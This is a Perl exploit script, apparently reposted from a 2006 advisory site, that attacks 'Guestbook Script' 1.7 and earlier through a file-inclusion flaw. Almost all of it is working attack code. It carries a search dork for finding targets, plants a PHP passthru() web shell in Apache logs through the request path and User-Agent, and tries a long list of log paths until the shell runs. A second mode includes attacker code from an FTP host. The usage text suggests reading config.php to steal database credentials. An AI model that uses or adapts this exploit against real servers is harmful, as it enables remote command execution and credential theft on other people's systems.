Rated as : Moderate Risk
#!/usr/bin/perl
use IO::Socket;
print "guestbook script <= 1.7 exploit\r\n";
print "rgod rgod\@autistici.org\r\n";
print "dork: \"powered by guestbook
script\"\r\n\r\n";
# short explaination:
# we have this code in nearly all scripts:
# ...
# if (isset ($include_files) and is_array ($include_files)) {
# reset ($include_files);
# while(list($key, $val) = each($include_files))
# {
#
# if ($file_content = include_content($val)) {
# $$key = $file_content;
# } else {
# $$key = '<pre>[' . $txt['txt_file_not_found']
. ': ' . $val . ']</pre>';
# }
# $tpl->register('guest', $key);
# }
# }
#...
# here is include_content() function:
#
# function include_content($path)
# {
#
# if (is_file($path)) {
# ob_start();
#
# include($path);
# $content = ob_get_contents();
# ob_end_clean();
# }
#
# if (isset($content)) {
# return $content;
# }
# }
#
# you can include code from local resources and (on PHP5, because
is_file()
# function support ftp wrappers) remote resources, poc:
#
#
http://[target]/[path]/index.php?include_files[]=&include_files[1]=/var/log/httpd/access_log
#
http://[target]/[path]/index.php?include_files[]=&include_files[1]=ftp://username:pass@192.168.1.3/suntzu.php
#
# you will not see any output, but code inside the included file will be
executed.
# You shoul have a "die()" in included file (to prevent the
ob_end_clean() call)
# to see some results...
# This exploit supports two actions:
#
# [1] tries to inject some php code in log files and execute it
# [2] tries to include the code from a ftp location
sub main::urlEncode {
my ($string) = @_;
$string =~ s/(\W)/"%" . unpack("H2", $1)/ge;
#$string# =~ tr/.//;
return $string;
}
if (@ARGV < 4)
{
print "Usage:\r\n";
print "perl gbs_17_xpl.pl SERVER PATH ACTION[FTP LOCATION]
COMMAND\r\n\r\n";
print "SERVER - Server where Guestbook Script is
installed.\r\n";
print "PATH - Path to Guestbook Script (ex: /gbs/ or just
/)\r\n";
print "ACTION - 1[nothing]\r\n";
print " (tries to include apache error.log
file)\r\n\r\n";
print " 2[ftp site with the code to
include]\r\n\r\n";
print "COMMAND - A shell command (\"cat
config.php\"\r\n";
print " to see database username &
password)\r\n\r\n";
print "Example:\r\n";
print "perl gbs_17_xpl.pl 192.168.1.3 /gbs/ 1 cat
config.php\r\n";
print "perl gbs_17_xpl.pl 192.168.1.3 /gbs/
2ftp://username:password\@192.168.1";
print ".3/suntzu.php ls -la\r\n\r\n";
print "Note: to launch action [2] you need this code in suntzu.php
:\r\n";
print "<?php\r\n";
print "ob_clean();\r\n";
print "echo 666;\r\n";
print "if (get_magic_quotes_gpc())\r\n";
print "{\$_GET[cmd]=stripslashes(\$_GET[cmd]);}\r\n";
print "passthru(\$_GET[cmd]);\r\n";
print "echo 666;\r\n";
print "die;\r\n";
print "?>\r\n\r\n";
exit();
}
$serv=$ARGV[0];
$path=$ARGV[1];
$ACTION=urlEncode($ARGV[2]);
$cmd=""; for ($i=3; $i<=$#ARGV; $i++)
{$cmd.="%20".urlEncode($ARGV[$i]);};
$temp=substr($ACTION,0,1);
if ($temp==2) { #this works with PHP5 and allow_url_fopen=On
$FTP=substr($ACTION,1,length($ACTION));
$sock = IO::Socket::INET->new(Proto=>"tcp",
PeerAddr=>"$serv", PeerPort=>"80")
or die "[+] Connecting ... Could not connect to host.\n\n";
print $sock "GET
".$path."index.php?cmd=".$cmd."&include_files[]=&include_files[1]=".$FTP."
HTTP/1.1\r\n";
print $sock "Host: ".$serv."\r\n";
print $sock "Connection: close\r\n\r\n";
$out="";
while ($answer = <$sock>) {
$out.=$answer;
}
close($sock);
@temp= split /666/,$out,3;
if ($#temp>1) {print "\r\nExploit
succeeded...\r\n".$temp[1];exit();}
else {print "\r\nExploit failed...\r\n";}
} elsif ($temp==1) { #this works if path to log files is found and u can
have access to them
print "[1] Injecting some code in log files ...\r\n";
$CODE="<?php ob_clean();echo 666;if (get_magic_quotes_gpc())
{\$_GET[cmd]=stripslashes(\$_GET[cmd]);} passthru(\$_GET[cmd]);echo
666;die;?>";
$sock = IO::Socket::INET->new(Proto=>"tcp",
PeerAddr=>"$serv", PeerPort=>"80")
or die "[+] Connecting ... Could not connect to host.\n\n";
print $sock "GET ".$path.$CODE." HTTP/1.1\r\n";
print $sock "User-Agent: ".$CODE."\r\n";
print $sock "Host: ".$serv."\r\n";
print $sock "Connection: close\r\n\r\n";
close($sock);
# fill with possible locations
my @paths= (
"/var/log/httpd/access_log", #Fedora, default
"/var/log/httpd/error_log", #...
"../apache/logs/error.log", #Windows
"../apache/logs/access.log",
"../../apache/logs/error.log",
"../../apache/logs/access.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.og", #and so on... collect some
log paths, you will succeed
"/etc/httpd/logs/acces_log",
"/etc/httpd/logs/acces.log",
"/etc/httpd/logs/error_log",
"/etc/httpd/logs/error.log",
"/var/www/logs/access_log",
"/var/www/logs/access.log",
"/usr/local/apache/logs/access_log",
"/usr/local/apache/logs/access.log",
"/var/log/apache/access_log",
"/var/log/apache/access.log",
"/var/log/access_log",
"/var/www/logs/error_log",
"/var/www/logs/error.log",
"/usr/local/apache/logs/error_log",
"/usr/local/apache/logs/error.log",
"/var/log/apache/error_log",
"/var/log/apache/error.log",
"/var/log/access_log",
"/var/log/error_log"
);
for ($i=0; $i<=$#paths; $i++)
{
$a = $i + 2;
print "[".$a."] trying with
".$paths[$i]."\r\n";
$sock = IO::Socket::INET->new(Proto=>"tcp",
PeerAddr=>"$serv", PeerPort=>"80")
or die "[+] Connecting ... Could not connect to host.\n\n";
print $sock "GET
".$path."index.php?cmd=".$cmd."&include_files[]=&include_files[1]=".urlEncode($paths[$i])."
HTTP/1.1\r\n";
print $sock "Host: ".$serv."\r\n";
print $sock "Connection: close\r\n\r\n";
$out='';
while ($answer = <$sock>) {
$out.=$answer;
}
close($sock);
@temp= split /666/,$out,3;
if ($#temp>1) {print "\r\nExploit
succeeded...\r\n".$temp[1];exit();}
}
#if you are here...
print "\r\nExploit failed...\r\n";
} else {
print "No action specified ...\r\n";
}
securitydot.net - 2006-03-11
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